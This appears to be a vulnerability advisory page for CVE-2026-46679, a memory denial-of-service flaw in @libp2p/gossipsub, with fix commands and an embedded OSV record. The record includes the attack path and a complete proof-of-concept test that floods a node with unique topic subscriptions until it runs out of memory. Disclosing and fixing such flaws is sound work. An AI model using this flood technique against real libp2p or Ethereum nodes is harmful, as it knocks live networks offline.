CVE-2026-46679: js-libp2p Denial of Service Vulnerability
HIGHCVE-2026-46679 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting js-libp2p libraries in the npm ecosystem. The issue involves memory dos via subscription flood of unique topics. Remediation is available by upgrading affected packages to version 15.0.23.
CVE-2026-46679 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-46679
To remediate this vulnerability, upgrade all affected js-libp2p dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @libp2p/gossipsub@15.0.23
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @libp2p/gossipsub
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46679, inspect your project dependencies using npm:
npm ls @libp2p/gossipsub
Analyze the terminal output to locate any version of js-libp2p in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 15.0.23), your application is affected.
Note: The npm ls @libp2p/gossipsub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In js-libp2p, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46679 Affected js-libp2p Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@libp2p/gossipsub
|
npm |
< 15.0.23
|
15.0.23
|
References
Frequently Asked Questions
What is CVE-2026-46679?
Which js-libp2p versions are affected?
What version fixes CVE-2026-46679?
Is @libp2p/gossipsub affected?
What is the CVSS score of CVE-2026-46679?
What CWE is associated with CVE-2026-46679?
How can I check npm dependencies for CVE-2026-46679?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4f8r-922h-2vgv",
"modified" : "2026-06-11T14:06:22Z",
"published" : "2026-05-21T21:38:40Z",
"aliases" : [ "CVE-2026-46679" ],
"summary" : "js-libp2p: Memory DoS via subscription flood of unique topics",
"details" : "### Summary\nThree cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.\n\n1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC.\n2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit.\n3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime.\n\nA single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).\n\n### Details\n#### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`)\n\n```typescript \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = { \n maxSubscriptions: Infinity, // <- no decode-level cap \n // ... \n} \n```\n\nPassed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.\n\n#### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`)\n\n```typescript \nlet topicSet = this.topics.get(topic)\nif (topicSet == null) {\n topicSet = new Set()\n this.topics.set(topic, topicSet) // new entry per unique topic, no count guard\n}\ntopicSet.add(from.toString())\n```\n\n`this.topics` (`Map<TopicStr, Set<PeerIdStr>>`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is \"not bounded by topic count\", but only for the `allowedTopics != null` branch, the default is `null`.\n\n#### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`)\n\n```typescript \nfor (const peers of this.topics.values()) {\n peers.delete(id)\n // empty Set is NOT removed from this.topics\n} \n```\n\nAfter disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575–602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime.\n\nSecondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.\n\n#### Attack path \n\n1. Attacker dials victim and opens a gossipsub stream.\n2. Score 0 > `gossipThreshold = −10` thus subscriptions are processed immediately. No score check gates subscription handling.\n3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.\n4. Victim's `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` → 349,525 calls to `handleReceivedSubscription` -> `this.topics` grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked.\n5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.\n6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.\n\n### PoC\n**Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`):\n\n```bash \n$ git clone https://github.com/libp2p/js-libp2p.git\n$ cd js-libp2p \n$ npm install \n$ cd packages/gossipsub \n$ npx aegir build \n$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000 \n```\n\nFile PoC:\n```typescript\n/* eslint-env mocha */\n\nimport { stop } from '@libp2p/interface'\nimport assert from 'node:assert'\nimport { performance } from 'node:perf_hooks'\nimport { RPC } from '../src/message/rpc.js'\nimport { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'\nimport type { GossipSubAndComponents } from './utils/create-pubsub.js'\n\n// Number of unique topics per attack RPC (for direct injection tests).\n// Chosen to demonstrate impact without LP-framing; the ENCODE test shows\n// how many actually fit in one 4 MB frame.\nconst UNIQUE_TOPICS_PER_RPC = 349_000\n\n// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.\n// Uses minimal 2-char topic strings (\"00\"..\"zz\") to maximise packing.\n// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.\n// Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription.\n// 4 MB / 8 bytes ≈ 524K subscriptions per frame.\nfunction buildSubscriptionFloodRpc (count: number): Uint8Array {\n const subscriptions = Array.from({ length: count }, (_, i) => ({\n subscribe: true,\n // Sequential 6-char decimal topics: short but still unique\n topic: i.toString().padStart(6, '0')\n }))\n return RPC.encode({ subscriptions, messages: [], control: undefined })\n}\n\n// Binary-search the exact number of unique 6-char topics that fit in 4 MB.\nfunction maxTopicsIn4MB (): number {\n const MAX_LP_BYTES = 4 * 1024 * 1024\n let lo = 1; let hi = 600_000\n while (lo < hi) {\n const mid = (lo + hi + 1) >> 1\n if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) {\n lo = mid\n } else {\n hi = mid - 1\n }\n }\n return lo\n}\n\ndescribe('PoC: Memory DoS via subscription flood of unique topics', function () {\n this.timeout(60_000)\n\n let victim: GossipSubAndComponents\n let attacker: GossipSubAndComponents\n\n beforeEach(async () => {\n ;[victim, attacker] = await Promise.all([\n createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n ])\n await connectPubsubNodes(victim, attacker)\n })\n\n afterEach(async () => {\n await stop(\n victim.pubsub, attacker.pubsub,\n ...Object.values(victim.components),\n ...Object.values(attacker.components)\n )\n })\n\n it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => {\n const victimPubsub = victim.pubsub as any\n const attackerIdStr = attacker.components.peerId.toString()\n\n const topicsBefore = victimPubsub.topics.size as number\n const heapBefore = process.memoryUsage().heapUsed\n\n // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC\n // unique topics directly via handleReceivedSubscription (the exact function\n // called synchronously from handleReceivedRpc for each decoded SubOpts entry).\n const t0 = performance.now()\n for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {\n victimPubsub.handleReceivedSubscription(\n { toString: () => attackerIdStr } as any,\n `poc-sub-flood-${i.toString().padStart(6, '0')}`,\n true\n )\n }\n const elapsed = performance.now() - t0\n\n const topicsAfter = victimPubsub.topics.size as number\n const heapAfterBytes = process.memoryUsage().heapUsed\n const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)\n const newTopics = topicsAfter - topicsBefore\n\n console.log(`\\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)\n console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)\n console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)\n console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)\n console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)\n\n // All unique topics must be present in the map — no dedup for unique strings\n assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,\n `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)\n\n // Must be non-trivial heap growth\n assert.ok(heapGrowthMB > 20,\n `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)\n })\n\n it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => {\n const victimPubsub = victim.pubsub as any\n const attackerIdStr = attacker.components.peerId.toString()\n\n // Flood with unique topics\n for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {\n victimPubsub.handleReceivedSubscription(\n { toString: () => attackerIdStr } as any,\n `poc-persist-${i.toString().padStart(6, '0')}`,\n true\n )\n }\n\n const topicsBeforeDisconnect = victimPubsub.topics.size as number\n\n // Simulate peer disconnect, this removes the peer ID from each Set but\n // does NOT delete empty Sets from this.topics.\n const tDisconnect = performance.now()\n victimPubsub.removePeer(attacker.components.peerId)\n const disconnectMs = performance.now() - tDisconnect\n\n const topicsAfterDisconnect = victimPubsub.topics.size as number\n\n console.log(`\\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)\n console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`)\n console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)\n console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`)\n\n // Topics Map is unchanged in SIZE — empty Sets persist\n assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,\n `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +\n `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)\n\n // removePeer O(N) scan should take non-trivial time with 349K entries\n assert.ok(disconnectMs > 5,\n `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)\n\n // Verify Sets are actually empty (peer removed from each)\n let emptyCount = 0\n for (const [, peers] of victimPubsub.topics) {\n if ((peers as Set<string>).size === 0) emptyCount++\n }\n assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,\n `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)\n })\n\n it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {\n this.timeout(30_000)\n const MAX_LP_BYTES = 4 * 1024 * 1024\n\n // Find exact maximum with binary search\n const maxCount = maxTopicsIn4MB()\n const rpc = buildSubscriptionFloodRpc(maxCount)\n\n const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4\n\n console.log(`\\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)\n console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)\n console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)\n console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)\n console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)\n\n assert.ok(rpc.byteLength <= MAX_LP_BYTES,\n `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)\n assert.ok(maxCount > 100_000,\n `expected >100K subscriptions per 4 MB frame, got ${maxCount}`)\n })\n})\n```\n\n### Impact\n- **Availability (memory)**: single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.\n- **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state.\n- **No score mitigation**: subscription processing has no score check and no score penalty for flooding.\n- **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`.\n- **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan.\n\n### Suggested remediation\nDelete empty Sets on unsubscribe and disconnect:\n\n```typescript\n// handleReceivedSubscription\n} else {\n topicSet.delete(from.toString())\n if (topicSet.size === 0) this.topics.delete(topic)\n}\n\n// removePeer\nfor (const [topic, peers] of this.topics) {\n peers.delete(id)\n if (peers.size === 0) this.topics.delete(topic)\n}\n```\n\nClear `this.topics` in `stop()`:\n\n```typescript\nthis.topics.clear()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@libp2p/gossipsub"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "15.0.23"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 15.0.22"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46679"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/libp2p/js-libp2p"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-400", "CWE-401" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-21T21:38:40Z",
"nvd_published_at" : "2026-06-10T22:17:00Z"
}
}